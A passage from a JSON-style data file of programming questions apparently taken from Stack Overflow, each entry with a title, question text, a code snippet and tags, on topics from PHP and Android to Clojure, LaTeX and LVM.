= \"\")\n", "r loops for-loop nested"], "1698303": ["How to check if the Menubar
contains no items?", "I'm using the Menubar plugin to place a menu at the top of my
website. However, I need to find a way to check if the menu contains items or not.
My menu is called 'menubar'. Currently, I'm loading the menu like so:\n\nIt loads
fine, but I need to check if there are items in it or not so I can adjust and
display other things instead. Any ideas? Or is this question too vague?\n",
"do_action('wp_menubar', \"menubar\");\n", "plugins menus"], "2773957": ["COM
Interoperability and Inheritance", "I've encountered some issues with a .NET
component that I am writing that is intended to be exposed to COM. \nThe class to
be exposed inherits from a base class, both of which have ComVisible properties set
to true. There's really nothing special about the base class - its contains 2
properties that I use to help abstract some database code.\nI can register the
assembly and type lib just fine. However, as soon as I attempt to instantiate the
class, I get the following exception thrown from the callee: \nError in
IDispatch.Invoke(): 0x80020101\nI decided to debug it in CScript.exe and I was
getting the same error. So I rewrote the class without the base class, and now I
can create instances without issue.\nIs there additional work I need to do in order
to expose a .NET class that inherits from another .NET class in the same namespace?
\n", "", "c# .net com com-interop"], "111391": ["determining that a Postback opens
a new page", "I have a page (page1) with a LinkButton that, when clicked, will take
the browser to a new page (page2).\nWhen I click the LinkButton page1 posts back
and hits the Init and Load event handlers for page1, and then moves on to page2.\
nHow can I tell in the page1 postback that I am about to be taken to a new page, as
opposed to clicking a Button that causes the page posts back but does not navigate
away?\n", "", "asp.net redirect postback linkbutton"], "5089142": ["urdu text is
being shown letter by letter in my android emulator", "I am having difficulty to
show a complete word of urdu..my code is showing urdu text letter by letter in my
android emulator. kindly guide me how to read Urdu. I have already set the URDU
Font.thanks\n", "", "java android xml android-emulator"], "3292648": ["CodeIgniter
routing issue, advice how to do it", "I'm not CI programmer, just trying to learn
it. Maybe this is wrong approach, please advice.\nmy controller(not in sub
directory) :\n\nAnd a route for login : \n\nProblem is when I wanna logout, it
shows me 404 because I do not have it in my route :\n\nand in my view I put \nWhen
I add that, it works, and that is stuppid to add a route for everything. What I'm I
doing wrong, please advice.\nThank you\n", "class Users extends CI_Controller {\n\n
function __construct() {\n parent::__construct();\n }\n\npublic function
index($msg = NULL) {\n\n $this->load->helper(array('form'));\n\n
$data['msg'] = $msg;\n\n $this->load->view('user/login' , $data);\n\n }\
n\n public function process_logout() {\n $this->session->sess_destroy();\n
redirect(base_url());\n }\n\n}\n", "codeigniter codeigniter-2 codeigniter-url
codeigniter-routing"], "3967002": ["Read / Write File Headers", "I'm trying to edit
a file header for a file. But if i get the bytes from the file (NSData) i can't see
or know where the header starts and the payload starts. So when i would like to add
a signature or something else it is impossible.\nCan somebody point me in the right
direction?\nAnd what do the fileheaders in iOS look like? I can't find a unified
header format either, which makes it even harder to read.\nSummary:\nI would like
to know where the header begins and ends.\nI would like to edit this header.\nI
would like to know the structure of a fileheader.\n", "", "objective-c ios c file-
io header"], "3967004": ["Using jQuery to re-order and animate list items?", "So,
I've got a list of items, something like:\n\netc.\nAn ajax call is being fired
periodically, and I may need to re-order the list (by making one of the lower items
become the first one in the list). That's easy to do just by changing the HTML of
#listHolder, but I would like to animate it so the appropriate item moves up the
page to the right place, and the others move down.\nI've got no idea where to start
=/\nNB. It doesn't have to be a list: a div or any other element would be fine.\n",
"<ul id=\"listHolder\">\n <li id=\"l1\">List item 1</li>\n <li id=\"l2\">List
item 2</li>\n <li id=\"l3\">List item 3</li>\n", "jquery list jquery-animate
reorder"], "4502921": ["Python fastest way to read a large text file (several GB)",
"i have a large text file (~7 GB). I am looking if exist the fastest way to read
large text file. I have been reading about using several approach as read chunk-by-
chunk in order to speed the process.\nat example effbot suggest \n\nin order to
process 96,900 lines of text per second.\nOther authors suggest to use islice() \n\
n will return a list of the next lines of the file . Using this inside a loop will
give you the file in chunks of lines\n", "# File: readline-example-3.py\n\nfile =
open(\"sample.txt\")\n\nwhile 1:\n lines = file.readlines(100000)\n if not
lines:\n break\n for line in lines:\n pass # do something**strong
text**\n", "python performance optimization line chunking"], "4982394": ["How do I
move a Logical Volume from sda to sdb?", "How can I move a Logical Volume from one
volume group on /dev/sda to a new disk /dev/sdb which has a new volume group on
it?\n", "", "linux centos lvm"], "4442781": ["Why does the VS2008
std::string.erase() move its buffer?", "I want to read a file line by line and
capture one particular line of input. For maximum performance I could do this in a
low level way by reading the entire file in and just iterating over its contents
using pointers, but this code is not performance critical so therefore I wish to
use a more readable
and typesafe std library style implementation.\nSo what I have is this:\n\nWhile
this isn't performance critical code I've called line.reserve(1024) before the
parsing operation to preclude multiple reallocations of the string as larger lines
are read in.\nInside std::getline the string is erased before having the characters
from each line added to it. I stepped through this code to satisfy myself that the
memory wasn't being reallocated each iteration, what I found fried my brain.\nDeep
inside string::erase rather than just resetting its size variable to zero what it's
actually doing is calling memmove_s with pointer values that would overwrite the
used part of the buffer with the unused part of the buffer immediately following
it, except that memmove_s is being called with a count argument of zero, i.e.
requesting a move of zero bytes.\nQuestions:\nWhy would I want the overhead of a
library function call in the middle of my lovely loop, especially one that is being
called to do nothing at all? \nI haven't picked it apart myself yet but under what
circumstances would this call not actually do nothing but would in fact start
moving chunks of buffer around?\nAnd why is it doing this at all?\nBonus question:
What the C++ standard library tag?\n", " std::string line;\n line.reserve(1024);\n
std::ifstream file(filePath);\n while(file)\n {\n std::getline(file, line);\n
if(line.substr(0, 8) == \"Whatever\")\n {\n // Do something ...\n }\
n }\n", "c++ visual-studio-2008 c++-standard-library"], "276576": ["Capture video
to file", "I'm trying to capture a video to file.\nI'm using direct show and I can
successfully see live stream with the use of \n\nBasically I'm creating a
IGraphBuilder *pGraph\nI'm adding filters and at the end I add VideoRenderer
IBaseFilter and it works fine.\nNow instead of the VideoRenderer I'm trying to do
the folowing:\n\nHowever, upon calling \n\nI get an A device attached to the system
is not functioning error\nAny advise?\nThanks\n", "CComQIPtr<IMediaControl,
&IID_IMediaControl> mediaControl(graph);\n hr = mediaControl->Run();\n", "c++
file video directshow"], "5241247": ["How to track System Dependencies?",
"Introduction\nIn my current organisation, we have many desktop and web
applications all feeding into each other at some point. When looking after older
applications or creating new applications, it's proving very difficult to try and
remember which system rely on other systems in order to work. I'm not talking about
software dependencies like DLL's and images, I'm talking about entire systems like
a Finance system dependant on the HR system etc.\nMy Question\nWhich is the one
best way to track how one entire system is dependant on another?\nThe answer can
suggest either a method of doing the above, a software package or documentation
techniques.\nIn my particular case, Many means over 20 web and desktop application
over a dozen servers.\n", "", "dependencies system"], "2743488": ["modifying the
values of zend configuration.ini values using php code", "understand that we can
write the new values to zend coiguration file using the Zend_Config_Writer, But I
wanted to know that is it poosible to modify the existing values present in the
configuration under the environment we are running, If it is poosible can you
elaborate it with some code\n", "", "php zend-framework configuration-files"],
"23318": ["How do I create a new parent category in Prestashop 1.5.3?", "I have
Template Monster Prestashop template #42155 installed and I've edited the default
categories in the back office and tried to make them their own separate root
category from the parent category Home (which I've renamed) but I received an error
message stating \"cannot create new parent category separate from root category\".
Something to this wording. I want the Meats category to appear as a separate parent
category from Dry Seasonings category and not underneath. And Black Peppercorn
Whole to appear only as a child category underneath parent category Dry Seasonings
instead of appearing in the top menu between the two parent categories. What is the
code snippet to create a new parent category in Prestashop 1.5.3 to fix this issue?
Which files do I change and where do I add the code snippet to create a new parent
category?\nReview my website for problem mentioned above\n", "", "categories
prestashop"], "5159481": ["What's the best way to tell if a std::vector has
reseated its array?", "I am using a to store an array of objects that are
referenced from outside of the vector by other objects. I drew a diagram to explain
more clearly:\n\nI am storing objects rather than pointers for performance reasons.
These objects are sorted every frame of my game, so I want the array to have good
cache properties.\nOf course, whenever objects are added to the vector, there is a
chance that the array will be reseated. In that case my references are invalidated
and need to be updated. Right now, to detect the reseating, I am using the
following method:\n\nMy questions are:\n\nIs this the best way to detect that the
vector has reseated its array?\nDo I also need to check for reseating after
performing ?\n\n", "std::vector", "c++ pointers vector"], "5232812": ["How to load
webview links inside this same webview Android", "I want to build a Android
webApplication without PhoneGap, and i have a problem : when i click on a link it
open the android default browser... : so how to load webview links inside this same
webview Android ?\nHere is my code :\n\nThanks !\n", "package
com.example.mobilewebview;\n\nimport android.os.Bundle;\nimport
android.app.Activity;\nimport android.view.Menu;\nimport android.webkit.WebView;\
n//import android.webkit.WebViewClient;\nimport android.webkit.WebSettings;\n\
npublic class MainActivity extends Activity {\n\n @Override\n public void
onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\
n setContentView(R.layout.activity_main);\n WebView myWebView =
(WebView) findViewById(R.id.webview);\n WebSettings webSettings =
myWebView.getSettings();\n webSettings.setJavaScriptEnabled(true);\n
myWebView.loadUrl(\"http://m.google.com\");\n }\n\n @Override\n public
boolean onCreateOptionsMenu(Menu menu) {\n
getMenuInflater().inflate(R.menu.activity_main, menu);\n return true;\
n }\n}\n", "android eclipse web-applications hyperlink webview"], "946321":
["how to get the resumable-media-link for uploading to google docs / xhr.status is
zero", "The fetchResumableLink returns xhr status of 0, if there a way to get the
resumable-media-link which is simpler please point to resource\nConstraints -
javascript/chrome, oauth2\n\n", "var DOCLIST_SCOPE =
'https://docs.google.com/feeds';\nvar DOCLIST_FEED = DOCLIST_SCOPE +
'/default/private/full/';\nvar google = new OAuth2('google', {\n client_id: 'my-
client-id',\n client_secret: 'my-client-secret',\n api_scope: DOCLIST_SCOPE
\n});\n\n\ngoogle.authorize(checkAuthorized);\n\nvar URI = fetchResumableLink();\n\
nfunction fetchResumableLink() {\n var TASK_CREATE_URL = DOCLIST_FEED;\n var
xhr = new XMLHttpRequest();\n xhr.onreadystatechange = function(event) {\n if
(xhr.readyState == 4) {\n if(xhr.status == 200) {\n // Great success:
parse response with JSON\n var doc = JSON.parse(xhr.responseText);\n
return doc;\n\n } else {\n // Request failure: something bad
happened\n console.log(xhr.status);\n console.log(xhr.responseText);\
n }\n }\n }; \n\n\n xhr.open('GET', TASK_CREATE_URL, true);\
n //xhr.setRequestHeader('Content-Type', 'application/json');\n
xhr.setRequestHeader('Authorization', 'OAuth ' + google.getAccessToken());\n
xhr.setRequestHeader('GData-Version', '3.0');\n xhr.send();\n}\n", "google-docs-
api google-drive-sdk"], "4817685": ["Cpanel Addon Domain Email Migrating to Own
Cpanel Account", "I have a cpanel account with multiple addon domains. I am in the
process of moving every website to its own cpanel account. \nI have email set up
on the addon domains and before I go and move the files and the database over to
the new account, I want to make sure that their emails move over as well.\nI don't
want the users to have to change their passwords, lose any email, etc. I have a
couple clients that have dozens of email accounts attached to them, and they cannot
afford to lose anything or change passwords.\n", "", "email dns cpanel add-on
addon-domain"], "5056274": ["I have a php form dropdown menu that needs to send
information", "I have a dropdown menu that is filled by a mysql database. I need to
select one and have it send the information for use on the next page after clicking
submit. It does populate the drop down menu like it is supposed to it just does not
seem to catch the data on the next page. Here is what I have:\nremoveMain.php\n\
nremove.php\n\n", "<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta
http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"
/>\n<title></title>\n</head>\n<form action=\"remove.php\" method=\"post\">\n<?php\n
$link = mysql_connect('********', '********', '*********');\n if (!$link){\n
die('Could not connect: ' . mysql_error());\n }\n
mysql_select_db(\"********\", $link);\n $res = mysql_query(\"SELECT * FROM
cardLists order by cardID\") or die(mysql_error()); \n echo \"<select name =
CardID>\"; \n while($row=mysql_fetch_assoc($res)) { \n echo \"<option
value=$row[ID]>$row[cardID]</a></option>\"; \n } \n echo \"</select>\";\n?>\
nAmount to Remove: <input type=\"text\" name=\"Remove\" />\n<input
type=\"submit\" />\n</form>\n<body>\n</body>\n</html>\n", "php mysql drop-down-
menu"], "4754293": ["How to insert hyperlink into access database via sql?", "I
have a fairly simple MS Access
Database that contains some metadata about a bunch of documents and a hyperlink
field that links to the document on our network drive.\nHowever, when I use a SQL
INSERT statement to populate the hyperlink field, the value I give it only becomes
the display text, not the actual link.\nHow can I make the value a functional
hyperlink? I'd think that the hyperlink data type would actually create
hyperlinks.\nI'm using Access 2002 SP3.\n", "", "sql database vba access-vba word-
vba"], "5347683": ["Audio seekBar Thread Problem?", "Originally, I had a
MediaPlayer mPlayers to play/pause/stop my Audio file. Now, I'm trying to add a
seek bar for my media. I tried using Threads and this is what I came up with:\nIn
onCreate() :\n\nThen, I implemented a method to update my seek bar every 1 sec:\n\
nHowever, In my HTC Magic, the audio run inefficiently. Some words are repeated. It
seems like the seek bar is going back a little bit every some time.\nTo make you
understand the problem well, Let's say this: if the audio says that: abcdefghijklmn
, then it will be like this: abccdeffghijjklmnn.\nAny improvement you suggest to my
thread ? Am I doing it right?\n", "seekBar.setOnSeekBarChangeListener(new
SeekBar.OnSeekBarChangeListener() {\n @Override\n public void
onProgressChanged(SeekBar seekBar, int progress,\n boolean fromUser)
{\n // TODO Auto-generated method stub\n
mPlayer.seekTo(progress);\n }\n\n////........Omitted Code..........\\\\\\\\\
n\n//At the very end of the method:\nseekThread = new Thread(this); //My Activity
implements:Runnable\nseekThread.start();\n", "android multithreading mediaplayer
seekbar"], "3209289": ["how to set up new keybinding for finding last command
executed using the first few characters of the command in csh", "I want to be able
to use Ctrl+R to have reverse-i search. Also if I press Shift+Up Arrow after typing
the first few characters of a recently executed command then the shell should
complete the command by finding the most recent commmand having the same first few
characters.\nI am using kde konsole.\n", "", "linux shell kde csh"], "1694754":
["Custom Post Types on Custom Categories", "Can some one let me know how I can
create custom Category and Post type including the items in side the red box
(Please take a look at following image link) and add them to WordPress dashboard?\
nThere is an image a this link, sorry I wasn't allowed to attach image on the post\
nThanks\n", "", "custom-post-types custom-taxonomy"], "2832705": ["SQL Loader like
erros in a table", "I have external tables. And I'd like to extract the data from
those tables and insert/merge that data in other tables.\nNow when a select from =>
insert into query or merge query runs then it is possible (and likely possible)
that the data might be in a bad quality, which will result into breaking query. Say
there is 000000 as date in external table which will result breaking query if I am
merging data.\nHow can I log these errors in a table (for example) error table
which will log the error, reason of error, line number and column name? Just like
you see in SQL Loader logs. For example:\n\nAnd the query shouldn't break upon
rather. Rather log the error and move on like it happens in SQL Loader.\nIs it
possible? I tried to look around net but I wasn't unable to find anything, or maybe
I simply don't know the magic words\nThanks in advance :-)\nEDIT:\nOk, I was able
to solve the problem (well, partly) using the following approach.\n\nThis gives
me:\nSELECT * FROM error_table;\n\nSo far, so good. However, I would like to know
what record number (line number in external_table) has this error. Beucase it is
possible that fist 10 records went ok but 11th record was bad. Any ideas?\n",
"Record 2324: Rejected - Error on table AA_STAG_VR_01, column KS1.\nORA-01843: not
a valid month\n", "oracle plsql oracle11g plsqldeveloper"], "2715815": ["Given the
Hasse diagram tell if the structure is a lattice", "Let's consider the following
Hasse diagram:\n\nI need to tell whether this is a lattice. By lattice definition I
can prove the above shown structure $M_5$ to be a lattice if and only if $\\forall
x,y \\in M_5$, $\\{x,y\\}$ has supremum and infimum in $M_5$. Putting all such
subsets in a table, not mentioning those subset where $x=y$:\n$$\\begin{array}{|c
|| c | c|}\n\\hline\nSubset & x \\wedge y & x \\vee y \\\\\n\\hline\n\\{a,b\\} & b
& a \\\\\n\\{a,c\\} & d & e \\\\\n\\{a,d\\} & d & a \\\\\n\\{a,e\\} & a & e \\\\\
n\\{b,c\\} & d & e \\\\\n\\{b,d\\} & d & b \\\\\n\\{b,e\\} & b & e \\\\\n\\{c,d\\}
& d & c \\\\\n\\{c,e\\} & c & e \\\\\n\\{d,e\\} & d & e \\\\\n\\hline\n\\end{array}
$$\nSo the $M_5$ is a lattice. \nIs my reasoning in detecting supremum and infimum
for each given subset correct? Have I come up with the right conclusion?\n", "",
"abstract-algebra elementary-set-theory order-theory lattice-orders"], "4888746":
["\"Iterating\" over an async method", "A few related questions about the async
CTP:\n\nI can iterate over an Iterator Block (an yield-returning ) using and then
enumerator methods , and . What is the analog for methods? How can a non-
calling method to receive and process any ed items and then ? Can you provide a
short example? I'm just not seeing it.\nAlso, in this following example method,
has a method. If returns a but is not , the compiler doesn't complain. What
type constraints/expectations exist between and ?\n\nPlease explain the following
line of the C# spec draft. Are methods supposed to a which will never be used?
I see some samples that do not seem to follow this rule - the return value seems
reachable and the value is non-default. Is this value inaccessible? If so, why
the awkward inaccessible return statement?\n\n\nIn an asynchronous function with
the return type for some ,\n return statements must have an expression that is
implicitly\n convertible to , and the endpoint of the body must be unreachable.\n\
n\nThe spec says \"All of GetAwaiter, IsCompleted, OnCompleted and GetResult are
intended to be \u201cnon-blocking\u201d\" - so then in what method should the
(potentially) long-running operation be defined?\n\nThanks!\n", "IEnumerable<T>",
"pattern-matching duck-typing async-ctp c#-5.0"], "1645027": ["App Crashes when
trying to update a UIImageView after modifying the RGB values for an iOS project",
"I'm trying to apply multiple effects to images. I've created a separate file to
handle the effects processing that I can send a to and receive a modified copy. To
save processing time, I first load the image into the separate processing file and
store it in memory, rather than load the image every time I want to modify it. The
flow is getImageData -> modifyRGB -> displayImage. Everything works till the last
step. The returned modified image is displayed on screen for a split second, then
Xcode crashes with a :code 1 error. I've been over the code repeatedly, and can't
find the problem. Any help is greatly appreciated. Thank you!\nUPDATE WITH MORE
INFO\nI'm using Xcode 4.3.1 with Automatic Reference Counting\nUsing Line Breaks, I
can verify that the crash happens when the line self.imageView.image =
[self.imageManipulation displayImage]; is executed. The image IS updated, but then
the program immediately crashes.\nUsing NSZombie, i get an error -[Not A Type
retain]: message sent to deallocated instance 0x2cceaf80\nFrom my viewController I
use:\n\nMy ImageManipulation file consists of:\n\n", "UIImageView", "ios image
image-manipulation manipulation"], "2472242": ["webservice timeout c#", "I have a
c# application and I want to fire off a webservice but I dont care about the
response and I also dont care if it fails. At the moment i fire of the service
async but i am getting an error when the call fails.\nIs there anyway I can
configure the app/webservice to stop it failing without rapping try catches around
them (basiclly fire and forget)?\nThanks\nSp\n", "", "c# web-services"], "5881642":
["Show a toast on clicking an overlay", "I have used the following code for
displaying the overlay\n\nand the file where the overlay is drawn is the
following... \n\nCould anyone please tell me what changes need to be done to
display a toast when i click on an overlay?? \n", "p = new GeoPoint((int)
(addresses.get(0).getLatitude() * 1E6),\n (int)
(addresses.get(0).getLongitude() * 1E6));\n\n controller =
mapview.getController();\n controller.setZoom(12);\n\n
MapOverlay mapOverlay = new MapOverlay(map.this, p);\n List<Overlay>
listOfOverlays = mapview.getOverlays();\n
listOfOverlays.add(mapOverlay);\n\n controller.animateTo(p, new
Runnable() {\n public void run() {\n
controller.setZoom(12);\n }\n });\n
mapview.invalidate();\n", "android google-maps overlay"], "925201": ["how to create
Table-of-contents (TOC) via macro", "I need to create table - of-contents after
mailmerge by macro as word does not support updating TOC field from TC fields.\nIs
it possible to automate creating TOC ?\n", "", "ms-word word-vba"], "88207": ["how
to test multipart post with RSPEC", "I'm trying to test a multipart/form post with
RSPEC with the following code:\n\nbut I get the following error:\n\nPOSTDATA is the
multipart form name.\nwhat is the correct way for testing multipart requests ?\
nEDIT:\nI figured out that building the request like I did in the above just builds
a nested JSON request. how do I build a multipost/form request ?\nI want to build
a multipart request that looks like that:\n\n", "@req = { :post => @attr }\n
lambda {\n post :create, :POSTDATA => @req, :format => :json\n }.should
change(Post, :count).by(1)\n", "ruby-on-rails ruby-on-rails-3 rspec"], "4439806":
["Probability of n-bit integers",
"\nPossible Duplicate:\nrandom a 512-bit integer N that is not a multiple of 2, 3,
or 5 \n\nOk I have a question,\nfor a random 512-bit integer n that isn't a
multiple of 2,3, or 5 what is the chance that n is prime? what about that n is
composite but fools the fermat primality test? what about that it is composite but
doesn't fool the fermat primality test? thanks in advanced!\n", "", "math integer
probability"], "2237366": ["Can example be modified to return a value?", "Given the
following sample from JNotify, I am having a little trouble understanding
implements. Is it valid Java syntax for to implement JNotifyListener's methods
-- , , and so on -- but modify the return type from void to Integer? \nI want to
wrote a Clojure library on top of JNotify and have Clojure code block on a future,
until one of Listener's methods returns.\n\n", "class Listner", "java clojure"],
"5043976": ["Save a PDF created with FPDF php library in a MySQL blob field", "I
need to create a pdf file with the fpdf library and save it in a blob field in my
MySQL database.\nThe problem is, when I try to retrieve the file from the blob
field and send it to the browser for the download, the donwloaded file is corrupted
and does not display correctly.\nThe same pdf file is correctly displayed if I send
it immediately to the browser without storing it in the db, so it seems some of the
data gets corrupted when is inserted in the db.\nMy code is something like this:\n\
nto store the pdf, and like this:\n\nto send it to the browser for downloading.\
nWhat am I doing wrong?\nIf I change my code to:\n\nthe file is correctly
displayed, so I assume that is correctly generated and the problem is in the
storing in the db.\nThanks in advance.\n", "$pdf = new MyPDF(); //class that
extends FPDF and create te pdf file\n$content = $pdf->Output(\"\", \"S\"); //return
the pdf file content as string\n$sql = \"insert into mytable(myblobfield)
values('\".addslashes($content).\"')\";\nmysql_query($sql);\n", "php pdf fpdf"],
"3465142": ["Reverse whole date in php", "OK,\ni was using following code to
reverse a date to use in php yesterday.\n\nthis was working for me till yesterday
31 March Night. but in the morning on april 1 its started printing\n\nApril-1-
2012 \nApril-0-2012 \nApril--1-2012 April--2-2012 \nand so on.\n\nthis was the
bad logic i used to reverse a date. i realized it soon. \ni want this like
following.\n\nApril-1-2012 \nMarch-31-2012 \nMarch-30-2012 \nMarch-29-2012\nand so
on\n\nso how this could be possible ? \nThanks in advance.\n\nWell, this also a
logic that work perfect for me i made after post of question. but i am really
thankful for all answers. that also making me many things clear.\n\n", "<?php\
n$d=date(\"F j Y\");\n$d=explode(\" \", $d);\n$month=$d[0];\n$day=$d[1];\
n$year=$d[2];\n<?php for ($i=10; $i>0; $i--)\n{\n $date=$month.\"-\".
$day--.\"-\".$year;\n echo $date;\n?>\n", "php date"], "3944978": ["Is there a
way to pass variables except sessions and get variables?", "My problem is not so
easy to describe ... for me :-) so please be lenient towards me.\nI have several
ways to view a list. which means, there are some possibilities how to come to and
create the view which displays my list. this wokrs well with parallel opend browser
tabs and is desired though.\nif I click on an item of my list I come to a detail-
view of that item.\nat this view I want to know from which type of list the link
was \"called\". the first problem is, that the referrer will allways be the same
and the second: I should not append a get variable to the url. (and it should not
be a submitted form too)\nif I store it to the session, I will overwrite my session
param when working in a parallel tab as well.\nwhat is the best way to still achive
my goal, of knowing which mode the previous list was in.\n", "", "php url
parameter-passing"], "3996377": ["Equation numbers in loop", "I am using the loop
command to make an exam file with unique numbers, i.e., the whole exam text is
repated and only the first page of the exam looks different. I am using equation
numbers in the text and the labels are multiple defined because of the loop, so
they are all linking to the last one and the numbers is very big in the last
exams.\nDo you have any idea how to overcome this problem? Thanks a lot!\nedit:
Here is an example: http://blubb-bla.de/pk_test_tex.pdf\nedit2: Here is the code: \
n\n", "\\documentclass[a4paper,oneside,11pt,DIV=14]{scrartcl}\n\\
setcounter{numsoll}{25} \n\\begin{document}\n\\loop\nYou are number \\
arabic{numakt}.\n\\begin{align} a = b \\label{eq} \\end{align}\nReference \\
eqref{eq}.\n\\pagebreak\n\\ifnum\\value{numakt}<\\value{numsoll}\n\\
stepcounter{numakt}\n\\repeat\n\\end{document}", "equations programming"],
"2472243": ["clojure macro using gen-class doesn't create annotations", "I'm trying
to write a clojure macro that will be used to generate multiple Java classes at
compile time. I've found that I can add annotations to a class when I invoke gen-
class outside of a macro. However, when I try to use gen-class inside a macro, the
compiled class doesn't have annotations.\nI boiled my problem down to this
example:\n\nWhen I compile this file, it creates a Test1.class and Test2.class - I
inspect both with Eclipse, and find that Test1 has both class-level and method-
level @Deprecated annotations, but Test2.class that has no annotations. When I use
macroexpand, it looks as though my Test2.class should be annotated:\n\nWhat am I
doing wrong here?\n", "(gen-class\n :name ^{Deprecated true} Test1\n :prefix
Test1-\n :methods [[^{Deprecated true} getValue [] Integer]])\n\n(defn Test1-
getValue [] 42)\n\n(defmacro create-test-class [name x]\n (let [prefix (str
name \"-\")]\n `(do\n (gen-class\n :name ~(with-meta name
{Deprecated true})\n :prefix ~(symbol prefix)\n :methods [[~(with-
meta 'getValue {Deprecated true}) [] Integer]])\n (defn ~(symbol (str
prefix \"getValue\")) [] ~x))))\n\n(create-test-class Test2 56)\n", "macros clojure
annotations gen-class"], "5079059": ["Zend master slave mysql", "I want to switch
slave db if master fails. I found Master/Slave switch, but its for reading writing
(seems very logical, but not this case). Can you give \" db failure\" strategy in
zend?\n", "", "mysql zend-framework zend-db master-slave"], "2814121": ["How to
reproduce Three20 Slide Up To Refresh feature?", "I would like to add this to a
projet, but I don't want to add the full Three20 framework for a simple feature.
How the framework does to always hide the first row, and to detect when it's
sliding up ? After that, I suppose a callback url can just be called to refresh the
table view.\nThanks !\n", "", "iphone three20"], "2175517": ["Maven clean can't
delete MySql jar", "I'm using MyEclipse 8.0 to develop a Spring Batch project.
Recently, I added MySQL to the database explorer perspective and now when I try to
do \"mvn clean\" on my project, it fails because it can't delete the mysql-
connector-java-5.1.6.jar from the target lib folder. I've tried manually deleting
this jar, but I get that popup that says it's being used by another person or
program. So far, the only way I've found to continue is to close MyEclipse every
time I need to run another test. This problem doesn't occur with any other
database I'm using (DB2). \n", "", "maven-2 ant myeclipse"], "50607": ["ubuntu
automount: only mounting drives as root?", "I'm sharing the /mount dir with smb so
users on my network can access use drives added to my linux box. Users are able to
read files but not write, modify or delete files or directories.\nI'm using ubuntu
10.04 server edition with halevt installed for usb auto mounting. Afaik halevt is
automounting the drives to /media/ but the drives are showing up as:\n\nmount gives
me:\n\nWhen I umount the drives, the folders /media/disk and /media/Sparta are both
removed. I tried changing the permissions with chown to nobody:nogroup but it
doesn't work (which I assume is because they are ntfs drives).\n", "drwxrwxr-x 1
root root 20480 2010-12-29 20:40 disk\ndrwxrwxr-x 1 root root 24576 2010-12-21
17:20 Sparta\n", "ubuntu usb ubuntu-10.04 ubuntu-server automount"], "3650692":
["Io: Protocol 'https' unsupported", "I am trying to fetch a file over HTTPS in Io
language:\n\nAnd I get this:\n\nI was trying to find something on the net, but, as
everybody knows, it's not easy because of the name. I only found this thread
http://tech.groups.yahoo.com/group/iolanguage/message/10898 but that's quite old.\
nHow can I get the HTTPS support in Io?\nEDIT\nI've found that there is a
SecureSocket addon, a wrapper over OpenSSL, in Io's source. It wasn't installed
when I did on my MacBook with Mountain Lion, though. I tried building it from
source, but no luck. It didn't build for me on a Linux machine, either.\nEDIT2\nI
just tried to build Io from source () again (using the included script ) and it
turned out that cmake did detect OpenSSL:\n\nBut then the SecureSocket addon is not
built. Its readme file:
https://github.com/stevedekorte/io/tree/master/addons/SecureSocket says:\n\nThe
DTLS1 bindings are not usable unless the patches in this file are\n applied to
OpenSSL 0.9.8e. However, this patch includes a\n deactivation of the handshake
retransmission code in d1_both.c, \n making it unsuitable for production
environments. I take no\n responsibility, etc, etc. If you want to use it
anyway, apply the\n patches(gathered from various newsgroups and my own
experimentation)\n and uncomment the commented-out block of build.io. For what
it's\n worth, DTLS support in OpenSSL is new as of 0.9.8 and is pretty buggy\n to
begin with. It's a nice idea, but it doesn't seem to be\n production ready at
all yet. These bindings are no exception.\n\n", "url := URL
with(\"https://api.example.com\")\nurl fetch println\n", "ssl
binding openssl cmake iolanguage"], "2735373": ["Android : How to make a layout
visible when back is pressed to hide keyboard?", "I'm using linear layout with and
a relative layout with same property but aligned above the linear layout. i have
placed an edit text. the keyboard is shown when edittext is focussed. at that time
of showing keyboard, the bottom linear layout hides the edittext. the user will not
be able to see what is being typed in the edit text.\nNow, I'm hiding the bottom
linear layout by setting visibility in activity when the keyboard is shown. of the
edittext, i'm making the bottom linear layout visible. But, How to make a layout
visible when back is pressed to hide keyboard?\nIn Manifest.xml i use following
code for my activity :\n\n\n\n\n\n\n\n\n\n\n", "alignParentBottom=\"true\"",
"android android-layout keyboard"], "5279639": ["How do I use the registry in
codegear c++ builder?", "In the simplest possible terms (I'm an occasional
programmer who lacks up-to-date detailed programming knowledge) can someone explain
the simplest way to make use of the registry in codegear C++ (2007).\nI have a line
of code in an old (OLD!) program I wrote which is causing a significant delay in
startup...\nDLB->Directory=pIniFile->ReadString(\"Options\",\"Last Directory\",\"no
key!\");\nThe code is making use of an ini file. I would like to be able to use
the registry instead (to write variables such as the last directory the application
was using)\nBut the specifics are not important. I'd just like a generic how-to
about using the registry that's specific to codegear c++ builder.\nI've googled
this, but as usual with this type of thing I get lots of pages about c++ builder
and a few pages about the windows registry, but no pages that explain how to use
one with the other.\n", "", "c++ windows registry c++builder codegear"], "4911176":
["How to convert data types to call a COM procedure?", "I have a procedure that I
need to call using COM, which is declared like this in C#:\n\nThe Delphi
declaration in the imported TypeLibrary is:\n\nparam1 is just a string.\nparam2 is
an array of argument names, let's say: ['arg1', 'arg2'].\nparam3 is the according
values for these arguments.\nExample: arg1: Double = 1.23, arg2: integer = 10.\
nThis will result in:\n- param2: ['arg1', 'arg2']\n- param3: [1.23, 10]\nSo far, I
have this code to convert param2[] into a PSafeArray:\n\nNow I should have the
PSafeArray for param2.\nBut how can I do this for param3[] ?\nThere will be
different data types, not only strings. \nSince I cannot call the COM procedure
before param2 and param3 are set up, I can also not be sure if the above code is
doing what I need.\nIt runs, but am I doing these conversions correctly for passing
the result to the above COM procedure?\n", "void DoSomething (string param1,
string[] param2, Object[] param3)\n", "delphi com delphi-xe2"], "4201376":
["programmatically mocking a function", "Is there any way to programmatically mock
a function for a embedded c application, running on linux. In below example I want
to mock main to call instead of in run-time.\n\nThe program will be executing
from ram in Linux so text segment should be modifiable. I know GDB works on some
similar concept where breakpoints code locations are replaced by trap
instructions.\n", "someBlah", "c linux embedded linux-kernel"], "3470187": ["QT4:
How to use legacy domain model written in standard c++", "I have a legacy domain
model composed by classes that contains pointers to children classes ( std::list of
class pointers as collection of child objects) and so on.. There is no a
persistence framework, they are implemented using pure c++ classes.\nI want to use
